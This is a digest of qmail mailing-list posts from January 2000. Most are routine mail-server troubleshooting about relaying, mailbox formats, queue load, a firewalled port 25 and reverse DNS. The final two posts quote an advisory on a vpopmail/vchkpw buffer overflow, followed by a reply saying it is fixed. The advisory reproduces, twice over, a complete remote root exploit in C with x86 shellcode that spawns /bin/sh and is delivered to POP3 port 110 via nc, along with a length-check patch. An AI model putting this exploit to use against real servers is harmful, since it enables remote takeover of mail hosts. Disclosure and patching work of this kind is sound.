>@40000000388b7e6e2faa2fc4 status: local 1/10 remote 0/20
>@40000000388b7e6f086a617c delivery 1: failure:
>Sorry,_no_mailbox_here_by_that_name._(#5.1.1)/

Do you have a "kevin2" user or alias? Which?

What's in control/defaultdelivery?

>locals: 
>Messages for mail.saraymca.com are delivered locally.
>
>rcpthosts: 
>SMTP clients may send messages to recipients at mail.nothing.com.

Are you mail.saraymca.com, mail.nothing.com, or both? If both, then
both should be listed in both locals and rcpthosts.

-Dave




Jason Haar <[EMAIL PROTECTED]> wrote:

>I think work needs to be done on Qmail-1.03 when mail is sent of the form
>"rcpt to: <[EMAIL PROTECTED]@local.domain>".
>
>If Qmail was delivering such a message locally ("local.domain" is in
>/var/qmail/control/locals), that would be converted to bogus local user
>"[EMAIL PROTECTED]" - and bounce - cool.
>
>However, if Qmail is part of a - say - firewall DMZ and delivers to an
>internal non-Qmail server any mail ending in @local.domain, then it does
>just that.

How are you routing @local.domain to the internal, non-qmail server?
If you're doing it through a .qmail file, add something like:

|if echo $LOCAL |grep -q "%" ; then echo "percent hack relaying not allowed"; exit 
|100; fi
|if echo $LOCAL |grep -q "!" ; then echo "bang path relaying not allowed"; exit 100; fi

If you're doing it through smtproutes, the non-qmail system should
either complain about the invalid syntax of the address, or the relay
attempt.

-Dave




"Eric Lalonde" <[EMAIL PROTECTED]> wrote:

>I've been reading the INSTALL.mbox and am a little confused on
>exactly how to change from using /var/spool/mail/user to
>~user/Mailbox.  My understanding is that I create a symbolic link
>called Mailbox in the user's directory that links to
>/var/spool/mail/user.

Nope.

>Instead, do I copy /var/spool/mail/user to ~user/Mailbox, delete
>/var/spool/mail/user, and make a symbolic link from the new file
>~user/Mailbox to /var/spool/mail/user?

Yep, that's what it says in INSTALL.mbox.

>would this work for something like 'mail' under linux?  Any further
>explanation is appreciated.

It should work, but as INSTALL.mbox says, some MUA's will have
trouble, and you'll need to tell them to read from ~user/Mailbox. See
INSTALL.mbox for details.

-Dave




[EMAIL PROTECTED] wrote:

>Hi all....well, I *had* everything working smoothly, but I went and loused it
>up and now I'm having some troubles with qmail again.  Here's what I get:
>alert: cannot start: unable to switch to queue directory.
>
>I've looked through the archives, and I checked the permissions on the queue
>directory and they're
>drwxr-x---  11  qmailq    qmail
>Which seems to be correct....Anyone have any other ideas?

Try Russ Nelson's qmail-lint or "make check" from the source
directory.

-Dave




-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 24 Jan 00, at 13:06, Dave Sill wrote:
> Try Russ Nelson's qmail-lint

It's quite funny that to us young guns, "lint" doesn't mean anything. 
I vaguely remember that something called "lint" was mentioned in 
the Kernigham-Ritchie C book as the program to run to find out 
hidden problems - but I learned to rely just on gcc -Wall and never 
used lint or such...

-----BEGIN PGP SIGNATURE-----
Version: PGP 6.0.2 -- QDPGP 2.60 
Comment: http://community.wow.net/grt/qdpgp.html

iQA/AwUBOIynulMwP8g7qbw/EQJhnwCfcjavREJrj1S8O0LbWmvoW8lcqGkAnjUX
0XfY5d0+EBMm3i7xqF8oJjUi
=9iF4
-----END PGP SIGNATURE-----
--
Petr Novotny, ANTEK CS
[EMAIL PROTECTED]
http://www.antek.cz
PGP key ID: 0x3BA9BC3F
-- Don't you know there ain't no devil there's just God when he's drunk.
                                                             [Tom Waits]




listy-dyskusyjne Krzysztof Dabrowski <[EMAIL PROTECTED]> wrote:

>BTW: Has anybody hacked on SMTH AUTH??

>From www.gmail.org:

     Mrs. Brisby has written a user/password based authentication
     mechanism for qmail-smtpd. This lets your microsoft's outlook
     express supports (outgoing mail server user name) and netscape
     4.5 (and above-betas) users securely roam. Users can use a
     slightly modified version of their own checkpassword.c program as
     outlined in my own vchkpw.c that I use. Also, two very simple
     perl scripts to perform pop3-based authentication for qmail.

-Dave





>     Mrs. Brisby has written a user/password based authentication
>      mechanism for qmail-smtpd. This lets your microsoft's outlook
>      express supports (outgoing mail server user name) and netscape
>      4.5 (and above-betas) users securely roam. Users can use a
>      slightly modified version of their own checkpassword.c program as
>      outlined in my own vchkpw.c that I use. Also, two very simple
>      perl scripts to perform pop3-based authentication for qmail.
>
>-Dave

Actualy this is not true. Mr. Brisby's patch works OK only with The Bat, 
Outlook Express 5 and ONE version of netscaoe (forgot which one).
I've tested hell of a lot mail clients with it.

Kris





"Jakob Solomon" <[EMAIL PROTECTED]> wrote:

>I want to close our mail server for open relay.

See:

  http://Web.InfoAve.Net/~dsill/lwq.html#relaying

>I currently use qpopper (2.53) and
>don't want to change it
>qpooper uses users home directories ($HOME/Mailbox - where mailbox is a
>file)

Are you wanting to do relay-after-POP?

>I didn't find any patch to make qmail-pop3d read
>e-mail from users home directories therefore I can't
>use any of the patches of utilities suggested regarding
>checking of the pop3 before sending e-mail.

qmail-pop3d *only* reads mail from the user's home directory. *But* it 
only support maildir's, not mbox's.

-Dave




Hi,

I have an operational theory question: when the load in a qmail setup 
reaches certain level the queue starts to grow and after a short time the 
number of unprocessed messages starts to grow as well. This is OK, but: at 
the same time the speed of local-deliveries slows down tenfold and the 
queue is filling up more and more. The only way to stop this is to stop the 
incoming flow of messages, then the local deliveries are fast again and the 
server recovers. Of course the  whole story is about an overloaded i/o 
subsystem which has to be upgraded, but still I want to know why do the 
local deliveries slow down so much in a race condition to give an exact 
answer for the collegues who blame qmail and say this would not occur in a 
sendmail or other MTA based system.

Andras Tudos
C3, Budapest





There is no "race condition" within qmail simply because of load, so
it might benefit from some elaboration from your collegues as to what "race
condition" they are referring to.

qmail goes non-linear if the unprocessed queue gets large (> 20-30 is a
sign of trouble), and it goes non-linear for the same reasons that sendmail
does with a single directory for a queue. Unix directory operations are
typically non-linear as the directory grows.

One possible reason for local deliveries slowing is that qmail-send isn't
scheduling them as quickly due to the aforementioned problem or they are contending
for the same disk.

As always. Why a program is slowing down is total speculation unless an analysis of
resources is performed at the time. What did your analysis show?


Regards.

On Mon, Jan 24, 2000 at 07:28:56PM +0100, Andras Tudos - Computronic, C3 wrote:
> Hi,
> 
> I have an operational theory question: when the load in a qmail setup 
> reaches certain level the queue starts to grow and after a short time the 
> number of unprocessed messages starts to grow as well. This is OK, but: at 
> the same time the speed of local-deliveries slows down tenfold and the 
> queue is filling up more and more. The only way to stop this is to stop the 
> incoming flow of messages, then the local deliveries are fast again and the 
> server recovers. Of course the  whole story is about an overloaded i/o 
> subsystem which has to be upgraded, but still I want to know why do the 
> local deliveries slow down so much in a race condition to give an exact 
> answer for the collegues who blame qmail and say this would not occur in a 
> sendmail or other MTA based system.
> 
> Andras Tudos
> C3, Budapest
> 




On 24/01 19:28, Andras Tudos - Computronic, C3 wrote:

> I have an operational theory question: when the load in a qmail setup
> [...snip...]
> not occur in a sendmail or other MTA based system.

What operating system?  Are you using Maildir or mailbox?


gjvc

-- 
[gjvc]
                              In god we're trussed




At 2000.01.24 20:58, Monday, you wrote:
>On 24/01 19:28, Andras Tudos - Computronic, C3 wrote:
>
> > I have an operational theory question: when the load in a qmail setup
> > [...snip...]
> > not occur in a sendmail or other MTA based system.
>
>What operating system?  Are you using Maildir or mailbox?

Solaris 2.6 and Maildir.

But I think the answer was given already: the problem is the flat 
queue/todo folder and the solution is the big-todo patch. Of course the 
most important is to have enough I/O to be able to deliver without filling 
up the queue: the disk subsystem was the real bottleneck, which is being 
upgraded now.

Andras





i'm almost done setting up qmail, but i still have one major hurdle. i'm
going through TEST.retrieve and i'm at the point where it says to send your
user an email from another site. i send an email to
[EMAIL PROTECTED], however, it never gets there. i've put

smtp stream tcp nowait qmaild /var/qmail/bin/tcp-env tcp-env
/var/qmail/bin/qmail-smtpd

in inetd.conf, and i can send email through the method shown in
TEST.retrieve (via telneting to port 25 on the site, etc.) however, when i
send email from a different site, it never arrives. instead, i get this
returned to the account i sent the email on:
----- The following addresses had transient non-fatal errors -----
<[EMAIL PROTECTED]>

----- Transcript of session follows -----
<[EMAIL PROTECTED]>... Deferred: No route to host
Warning: message still undelivered after 4 hours
Will keep trying until message is 5 days old

i'm betting the email will never get to my site, and i don't know why. i
don't know what i'm leaving out, but if anyone else does, please let me
know!


-Eric





"Eric LaLonde" <[EMAIL PROTECTED]> wrote:

><[EMAIL PROTECTED]>... Deferred: No route to host

Hmm. What does "ping mail.daylightfading.org" do? Sounds like you have 
connectivity problems.

-Dave




-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 24 Jan 00, at 15:12, Dave Sill wrote:

> "Eric LaLonde" <[EMAIL PROTECTED]> wrote:
> 
> ><[EMAIL PROTECTED]>... Deferred: No route to host
> 
> Hmm. What does "ping mail.daylightfading.org" do? Sounds like you have
> connectivity problems.
> 

He does - telnet to any of his ports complains of "no route to host". 
Oddly enough, both ping and traceroute work.

I told him already to go ask his ISP, or tech, or admin, or so.

-----BEGIN PGP SIGNATURE-----
Version: PGP 6.0.2 -- QDPGP 2.60 
Comment: http://community.wow.net/grt/qdpgp.html

iQA/AwUBOIzBT1MwP8g7qbw/EQIJFwCfbXs21TA0v+78YJZHULtUclzBHYkAoPvU
OlpZcXK1CEYIGFX41ereqNGY
=8F/Z
-----END PGP SIGNATURE-----
--
Petr Novotny, ANTEK CS
[EMAIL PROTECTED]
http://www.antek.cz
PGP key ID: 0x3BA9BC3F
-- Don't you know there ain't no devil there's just God when he's drunk.
                                                             [Tom Waits]




> He does - telnet to any of his ports complains of "no route to host".
> Oddly enough, both ping and traceroute work.

that doesn't seem to be the case. I can telnet to port 21 on
daylightfading.org just fine. It refuses me because i've closed off the
telnet port, (i use ssh), but it still connects just fine. Its only port 25
that says there's no route to host. I will definately email my net admin,
but if you have any idea why it would connect fine to port 21, and not 25,
let me know. (yes, smtp is listed as 25/tcp in /etc/services!)
Thanks for helping me investigate this matter,

Eric
----- Original Message -----
From: "Petr Novotny" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Monday, January 24, 2000 1:17 PM
Subject: Re: problems retrieving email


> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> On 24 Jan 00, at 15:12, Dave Sill wrote:
>
> > "Eric LaLonde" <[EMAIL PROTECTED]> wrote:
> >
> > ><[EMAIL PROTECTED]>... Deferred: No route to host
> >
> > Hmm. What does "ping mail.daylightfading.org" do? Sounds like you have
> > connectivity problems.
> >
>
> He does - telnet to any of his ports complains of "no route to host".
> Oddly enough, both ping and traceroute work.
>
> I told him already to go ask his ISP, or tech, or admin, or so.
>
> -----BEGIN PGP SIGNATURE-----
> Version: PGP 6.0.2 -- QDPGP 2.60
> Comment: http://community.wow.net/grt/qdpgp.html
>
> iQA/AwUBOIzBT1MwP8g7qbw/EQIJFwCfbXs21TA0v+78YJZHULtUclzBHYkAoPvU
> OlpZcXK1CEYIGFX41ereqNGY
> =8F/Z
> -----END PGP SIGNATURE-----
> --
> Petr Novotny, ANTEK CS
> [EMAIL PROTECTED]
> http://www.antek.cz
> PGP key ID: 0x3BA9BC3F
> -- Don't you know there ain't no devil there's just God when he's drunk.
>                                                              [Tom Waits]
>





* Eric LaLonde (Mon, Jan 24, 2000 at 02:20:39PM -0800)

> I will definately email my net admin, but if you have any idea
> why it would connect fine to port 21, and not 25, let me know.

Sounds like there is a firewall in between.  A polite firewall
will often answer back with an ICMP message of some sort.
Usually "admin prohibited filter" (or something)

A rude one will just drop the packets, and be quiet about it.

Another thing that strenghtens my suspicion is that the next IP
address in the range shows the same.

ssm@hastur: ssm $telnet daylightfading.org 25
Trying 169.233.15.76...
telnet: Unable to connect to remote host: No route to host

ssm@hastur: ssm $telnet 169.233.15.77  25
Trying 169.233.15.77...
telnet: Unable to connect to remote host: No route to host
ssm@hastur: ssm $telnet 169.233.15.77  22
Trying 169.233.15.77...
telnet: Unable to connect to remote host: Connection refused


Ask you friendly network administrator.

-- 
 SSM - Stig Sandbeck Mathisen
  Trust the Computer, the Computer is your Friend





Ah yes, straight from the admin:
> Port 25 is generally used for the SMTP server, which we block to
> prevent student machines from being used as email gateways for spam.
> If your service is not SMTP there should be a way to move it to another
port.

If I change smtp's port, will that circumvent this problem? :)

- Eric
----- Original Message -----
From: "Stig Sandbeck Mathisen" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Monday, January 24, 2000 2:32 PM
Subject: Re: problems retrieving email


> * Eric LaLonde (Mon, Jan 24, 2000 at 02:20:39PM -0800)
>
> > I will definately email my net admin, but if you have any idea
> > why it would connect fine to port 21, and not 25, let me know.
>
> Sounds like there is a firewall in between.  A polite firewall
> will often answer back with an ICMP message of some sort.
> Usually "admin prohibited filter" (or something)
>
> A rude one will just drop the packets, and be quiet about it.
>
> Another thing that strenghtens my suspicion is that the next IP
> address in the range shows the same.
>
> ssm@hastur: ssm $telnet daylightfading.org 25
> Trying 169.233.15.76...
> telnet: Unable to connect to remote host: No route to host
>
> ssm@hastur: ssm $telnet 169.233.15.77  25
> Trying 169.233.15.77...
> telnet: Unable to connect to remote host: No route to host
> ssm@hastur: ssm $telnet 169.233.15.77  22
> Trying 169.233.15.77...
> telnet: Unable to connect to remote host: Connection refused
>
>
> Ask you friendly network administrator.
>
> --
>  SSM - Stig Sandbeck Mathisen
>   Trust the Computer, the Computer is your Friend
>






  Looking in my maillog, I see:

Jan 23 04:10:09 helix qmail: 948625809.080273 status: local 1/10 remote
0/20
Jan 23 04:10:09 helix qmail: 948625809.724284 delivery 126: deferral:
Can't_open
_error_file!/
Jan 23 04:10:09 helix qmail: 948625809.724501 status: local 0/10 remote
0/20

  And I'm trying to see just why it's happening, so that I can fix the
problem.  I have two questions:

A)  Why are these messages not being delieverd?

  Looking in the queue, I see a few old messages from a mailing list.  The
"To:" field has the address for the list, [EMAIL PROTECTED] .  Nowhere
in the headers is there a reference to the user's email address.

   Now... all of the other messages from this list come through just fine
to the user.  Why would these few be fouling up?

B)  I assume that it is trying to open $HOME/error.file to write some
information to, but is not able to.  The user's directory is owned by them
and their group, and has permissions 0755.  Is there something more I need
to do?

steve





"Steve Wolfe" <[EMAIL PROTECTED]> wrote:

>Jan 23 04:10:09 helix qmail: 948625809.724284 delivery 126: deferral:
>Can't_open_error_file!/

That's not a qmail error message. You must be using some other
delivery agent in a .qmail file or in the qmail-start command.

>A)  Why are these messages not being delieverd?

Because the MDA "Can't open error file!" Why? Dunno. Which error file?
Dunno. Which MDA? Can't tell. Look at the .qmail file.

>  Looking in the queue, I see a few old messages from a mailing list.  The
>"To:" field has the address for the list, [EMAIL PROTECTED] .  Nowhere
>in the headers is there a reference to the user's email address.

Yeah, that information is in the SMTP envelope, stored in queue/remote 
and queue/local files.

>   Now... all of the other messages from this list come through just fine
>to the user.  Why would these few be fouling up?

Beats me.

>B)  I assume that it is trying to open $HOME/error.file to write some
>information to, but is not able to.

I wouldn't assume that.

-Dave




What does not having reverse DNS really mean when it comes to a mail server?

We are moving our server from a machine WITH reverse DNS at our old ISP, to a
machine in house that reverse DNS cant be set right now due to a messup at
ARIN.

How many servers really reject mail based on reverse?

This is a mailing list host.

Thanks,
Justin
--
[EMAIL PROTECTED]                             Justin Bell  
                                                        Pearson PTC
Get money back when shopping online                     Programmer
http://www.ebates.com/index.jhtml?referrer=jaymz

Get $20 FREE!
https://preview.x.com/new_account.asp?[EMAIL PROTECTED]

Get $10 FREE
https://secure.paypal.com/refer/pal=justin%40iquest.net

Get paid to surf the web
http://www.alladvantage.com/go.asp?refid=FBH998




Never thought that it was a problem.  I used to use a ml.org dynamic IP 
host for a temporary mailserver.
I never had a problem, receiving or sending.



At 03:32 PM 1/24/00 -0500, you wrote:
>What does not having reverse DNS really mean when it comes to a mail server?
>
>We are moving our server from a machine WITH reverse DNS at our old ISP, to a
>machine in house that reverse DNS cant be set right now due to a messup at
>ARIN.
>
>How many servers really reject mail based on reverse?
>
>This is a mailing list host.
>
>Thanks,
>Justin
>--
>[EMAIL PROTECTED]                             Justin Bell
>                                                         Pearson PTC
>Get money back when shopping online                     Programmer
>http://www.ebates.com/index.jhtml?referrer=jaymz
>
>Get $20 FREE!
>https://preview.x.com/new_account.asp?[EMAIL PROTECTED]
>
>Get $10 FREE
>https://secure.paypal.com/refer/pal=justin%40iquest.net
>
>Get paid to surf the web
>http://www.alladvantage.com/go.asp?refid=FBH998





On Mon, Jan 24, 2000 at 03:32:51PM -0500, Justin Bell wrote:
> How many servers really reject mail based on reverse?

mail.com does.  I have see others.  I don't know why they to
that.  It must slow things down quite a bit.  Spammers can easily
defeat it.


    Neil





Scan4Virus is a qmail-based antivirus perl wrapper which works in
conjunction with Unix-based virus scanners such as McAfee's, Trend's and
Sophos. It will scan all Email arriving via SMTP for viruses and will
quarantine those containing viruses. Use on Internet gateways to protect the
Internet from your users ;-)

Get it from http://www.geocities.com/jhaar/

Major changes since last release:

* Now uses qmail-queue directly - no longer needs to invoke qmail-inject

* New built-in scanner! perlscan_scanner scans a DB file containing 
  attachment filenames and sizes - a match means virus.

* Initial support for metamail


-- 

Cheers

Jason Haar

Unix/Network Specialist, Trimble NZ
Phone: +64 3 3391 377 Fax: +64 3 3391 417
     





We had previously not been using rcpthosts, but decided to after falling
victim to a spammer.  I've put everything in locals and virtualdomains in
rcpthosts, but now it won't let my local users send to remote domains.

I've also added a wildcard for our domain (e.g., .domain.com), but that
didn't help.

Any suggestions?

Adam







After being pointed in the right direction by a kind soul, it was almost
embarrassingly easy...the problem is solved.

Nothing more to see here...move along...

-Adam



On Mon, 24 Jan 2000, Adam Michaud wrote:

> 
> We had previously not been using rcpthosts, but decided to after falling
> victim to a spammer.  I've put everything in locals and virtualdomains in
> rcpthosts, but now it won't let my local users send to remote domains.
> 
> I've also added a wildcard for our domain (e.g., .domain.com), but that
> didn't help.
> 
> Any suggestions?
> 
> Adam
> 





in some of my cgi scripts who used to use sendmail i am now having them
use /var/qmail/bin/sendmail,
what doesnt work now that ive changed is mailing to multiple recipients
using a commma.
for example:

mail [EMAIL PROTECTED],[EMAIL PROTECTED] -s test < file.txt

that will ignore the first address and only mail to the second address.
bug? what can be done?


-- 
.--------  ---  -
| kevin olson (acidjazz)[[EMAIL PROTECTED]]
| programming and development
| visual perspectives internet [http://www.vpi.net]
`------------------- ---- --  -




> in some of my cgi scripts who used to use sendmail i am now having them
> use /var/qmail/bin/sendmail,
> what doesnt work now that ive changed is mailing to multiple recipients
> using a commma.
> for example:
>
> mail [EMAIL PROTECTED],[EMAIL PROTECTED] -s test < file.txt

  Simply calling "mail {address}" from a CGI program is almost always a bad
thing.  In many CGI applications, you're getting the email address from
user input, and you have to do things like escape shell characters, watch
for buffer overruns, etc..  It's much better to do something like this to
sendmail or QMail's replacement:

#!/usr/bin/perl
open(MAILPIPE,"|/usr/sbin/sendmail -oi -t") || die;
print MAILPIPE <EOH1
To: $address1, $address2
From: [EMAIL PROTECTED]
Subject:  The subject

blah, blah, blah...

EOH1
;

  That way, user-supplied data is never passed on the command-line, and
using multiple addresses works fine.

steve





I am in the process of migrating from Sendmail to qmail. There are no users
on the new machine so anything is an option.

My question... I am used to using the cac.washington.edu pop server with my
sendmail machines. I am in the process of reading a qmail HOWTO and the
author outlines the installation of qpopper. Can anyone tell me what the
differences between the products are? And which one will be more benifitial
to me...

My configuration info:
    FreeBSD 3.4, Intel Celeron 400 processor, 96MB of Ram, 6GB hard drive,
T1 internet connection.
    I have 100 total e-mail users currently (we are growing very fast), the
current sendmail machine is processing 3,000-4,000 messages per day on
average. All of the users are using Pop. There are no IMAP users. Only the
root account needs console mail.

Thanks in advance,

Max
e. [EMAIL PROTECTED]





What do you think ?

          Vpopmail (qmail add-on) is vulnerable to remote root exploit
(vpopmail, vchkpw)
----------------------------------------------------------------------------
----


SUMMARY

When the vpopmail qmail add-on is installed and used to authenticate user 
information, a remote attacker may compromise the machine by supplying a 
long argument to qmail (which passes it to vpopmail). A remote attacker 
may obtain the privilege level of the authentication module - usually 
root.

DETAILS

Qmail-pop3d assumes that its password-check mechanism will support the 
long password that is passed to it. While according to the RFC 1939 (Post 
Office Protocol version 3) POP-3 passwords should be no longer than 40 
characters, qmail supports longer passwords, and therefore it's possible 
to pass vpopmail (a specific password verification mechanism) passwords 
which are longer than it expects - causing a buffer overflow.

Exploit:
/*
   qmail-qpop3d-vchkpw.c (v.3)
   by: K2,
      
   The inter7 supported vchkpw/vpopmail package (replacement for 
chkeckpasswd)
   has big problems ;)

   gcc -o vpop qmail-pop3d-vchkpw.c [-DBSD|-DSX86]
   ( ./vpop [offset] [alignment] ; cat ) | nc target.com 110   

   play with the alignment to get it to A) crash B) work. 
   qmail-pop3d/vchkpw remote exploit. (Sol/x86,linux/x86,Fbsd/x86) for 
now.
   Tested agenst: linux-2.2.1[34], FreeBSD 3.[34]-RELEASE
   vpopmail-3.4.10a/vpopmail-3.4.11[b-e]

   Hi plaguez.
   prop's to Interrupt for testing with bsd, _eixon an others ;)
   cheez shell's :)
   THX goes out to STARBUCKS*!($#!
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define SIZE   260
#define NOP    0x90
#ifdef SX86
#define DEFOFF 0x8047cfc
#define NOPDEF 75
#elif BSD
#define DEFOFF 0xbfbfdbbf
#define NOPDEF 81
#else
#define DEFOFF 0xbffffcd8
#define NOPDEF 81
#endif 

char *shell = 
#ifdef SX86 // Solaris IA32 shellcode, cheez
"\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
"\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
"\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
"\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
"\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff"; 
#elif BSD // fBSD shellcode, [EMAIL PROTECTED]                               
  
"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
"\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
#else // Linux shellcode, no idea
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh\xff";
#endif

int main(int argc, char **argv)
{
   int i=0,esp=0,offset=0,nop=NOPDEF;
   char buffer[SIZE];

   if (argc > 1) offset += strtol(argv[1], NULL, 0);
   if (argc > 2) nop += strtol(argv[2], NULL, 0);

   esp = DEFOFF;
   
   memset(buffer, NOP, SIZE);
   memcpy(buffer+nop, shell, strlen(shell));
   for (i = (nop+strlen(shell)+1); i < SIZE; i += 4) {
      *((int *) &buffer[i]) = esp+offset;
   }
   
   printf("user %s\n",buffer);
   printf("pass ADMR0X&*!(#&*(!\n");

   fprintf(stderr,"\nbuflen = %d, nops = %d, target = 
0x%x\n\n",strlen(buffer),nop,esp+offset);
   return(0);
}

Patch:
--- qmail-1.03/qmail-popup.c    Mon Jun 15 03:53:16 1998
+++ qmail-1.03-patch/qmail-popup.c      Fri Jan 21 13:00:18 2000
@@ -13,6 +13,8 @@
 #include "readwrite.h"
 #include "timeoutread.h"
 #include "timeoutwrite.h"
+#include <unistd.h>
+#include <syslog.h>
 
 void die() { _exit(1); }
 
@@ -87,6 +89,24 @@
   int child;
   int wstat;
   int pi[2];
+  
+  /*
+    This patch should have minimal impact of normal qmail operations.
+    It was coded/tested under linux, but should work most everywhere.
+  */
+  
+  if(strlen(user) >= 40)
+  {
+     syslog(LOG_NOTICE,"excessive argument length [%d]",strlen(user));
+     user[39]='\0';
+     userlen=strlen(user);
+  }
+  
+  if(strlen(pass) >= 40)
+  {
+     syslog(LOG_NOTICE,"excessive argument length [%d]",strlen(pass));
+     pass[39]='\0';
+  }
  
   if (fd_copy(2,1) == -1) die_pipe();
   close(3);


ADDITIONAL INFORMATION

No solution is currently available.

The information was provided by:  <mailto:[EMAIL PROTECTED]> K2.



======================================== 

-------
AFLHI 058009990407128029/089802---(102598//991024)





The exploitable code has been fixed since Jan 20th. 

Ken Jones

Irwan Hadi wrote:
> 
> What do you think ?
> 
>           Vpopmail (qmail add-on) is vulnerable to remote root exploit
> (vpopmail, vchkpw)
> ----------------------------------------------------------------------------
> ----
> 
> SUMMARY
> 
> When the vpopmail qmail add-on is installed and used to authenticate user
> information, a remote attacker may compromise the machine by supplying a
> long argument to qmail (which passes it to vpopmail). A remote attacker
> may obtain the privilege level of the authentication module - usually
> root.
> 
> DETAILS
> 
> Qmail-pop3d assumes that its password-check mechanism will support the
> long password that is passed to it. While according to the RFC 1939 (Post
> Office Protocol version 3) POP-3 passwords should be no longer than 40
> characters, qmail supports longer passwords, and therefore it's possible
> to pass vpopmail (a specific password verification mechanism) passwords
> which are longer than it expects - causing a buffer overflow.
> 
> Exploit:
> /*
>    qmail-qpop3d-vchkpw.c (v.3)
>    by: K2,
> 
>    The inter7 supported vchkpw/vpopmail package (replacement for
> chkeckpasswd)
>    has big problems ;)
> 
>    gcc -o vpop qmail-pop3d-vchkpw.c [-DBSD|-DSX86]
>    ( ./vpop [offset] [alignment] ; cat ) | nc target.com 110
> 
>    play with the alignment to get it to A) crash B) work.
>    qmail-pop3d/vchkpw remote exploit. (Sol/x86,linux/x86,Fbsd/x86) for
> now.
>    Tested agenst: linux-2.2.1[34], FreeBSD 3.[34]-RELEASE
>    vpopmail-3.4.10a/vpopmail-3.4.11[b-e]
> 
>    Hi plaguez.
>    prop's to Interrupt for testing with bsd, _eixon an others ;)
>    cheez shell's :)
>    THX goes out to STARBUCKS*!($#!
> */
> 
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> 
> #define SIZE   260
> #define NOP    0x90
> #ifdef SX86
> #define DEFOFF 0x8047cfc
> #define NOPDEF 75
> #elif BSD
> #define DEFOFF 0xbfbfdbbf
> #define NOPDEF 81
> #else
> #define DEFOFF 0xbffffcd8
> #define NOPDEF 81
> #endif
> 
> char *shell =
> #ifdef SX86 // Solaris IA32 shellcode, cheez
> "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
> "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
> "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
> "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
> "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
> "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
> #elif BSD // fBSD shellcode, [EMAIL PROTECTED]
> 
> "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
> "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
> "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
> "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
> #else // Linux shellcode, no idea
> "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
> "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
> "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
> "\xff\xff/bin/sh\xff";
> #endif
> 
> int main(int argc, char **argv)
> {
>    int i=0,esp=0,offset=0,nop=NOPDEF;
>    char buffer[SIZE];
> 
>    if (argc > 1) offset += strtol(argv[1], NULL, 0);
>    if (argc > 2) nop += strtol(argv[2], NULL, 0);
> 
>    esp = DEFOFF;
> 
>    memset(buffer, NOP, SIZE);
>    memcpy(buffer+nop, shell, strlen(shell));
>    for (i = (nop+strlen(shell)+1); i < SIZE; i += 4) {
>       *((int *) &buffer[i]) = esp+offset;
>    }
> 
>    printf("user %s\n",buffer);
>    printf("pass ADMR0X&*!(#&*(!\n");
> 
>    fprintf(stderr,"\nbuflen = %d, nops = %d, target =
> 0x%x\n\n",strlen(buffer),nop,esp+offset);
>    return(0);
> }
> 
> Patch:
> --- qmail-1.03/qmail-popup.c    Mon Jun 15 03:53:16 1998
> +++ qmail-1.03-patch/qmail-popup.c      Fri Jan 21 13:00:18 2000
> @@ -13,6 +13,8 @@
>  #include "readwrite.h"
>  #include "timeoutread.h"
>  #include "timeoutwrite.h"
> +#include <unistd.h>
> +#include <syslog.h>
> 
>  void die() { _exit(1); }
> 
> @@ -87,6 +89,24 @@
>    int child;
>    int wstat;
>    int pi[2];
> +
> +  /*
> +    This patch should have minimal impact of normal qmail operations.
> +    It was coded/tested under linux, but should work most everywhere.
> +  */
> +
> +  if(strlen(user) >= 40)
> +  {
> +     syslog(LOG_NOTICE,"excessive argument length [%d]",strlen(user));
> +     user[39]='\0';
> +     userlen=strlen(user);
> +  }
> +
> +  if(strlen(pass) >= 40)
> +  {
> +     syslog(LOG_NOTICE,"excessive argument length [%d]",strlen(pass));
> +     pass[39]='\0';
> +  }
> 
>    if (fd_copy(2,1) == -1) die_pipe();
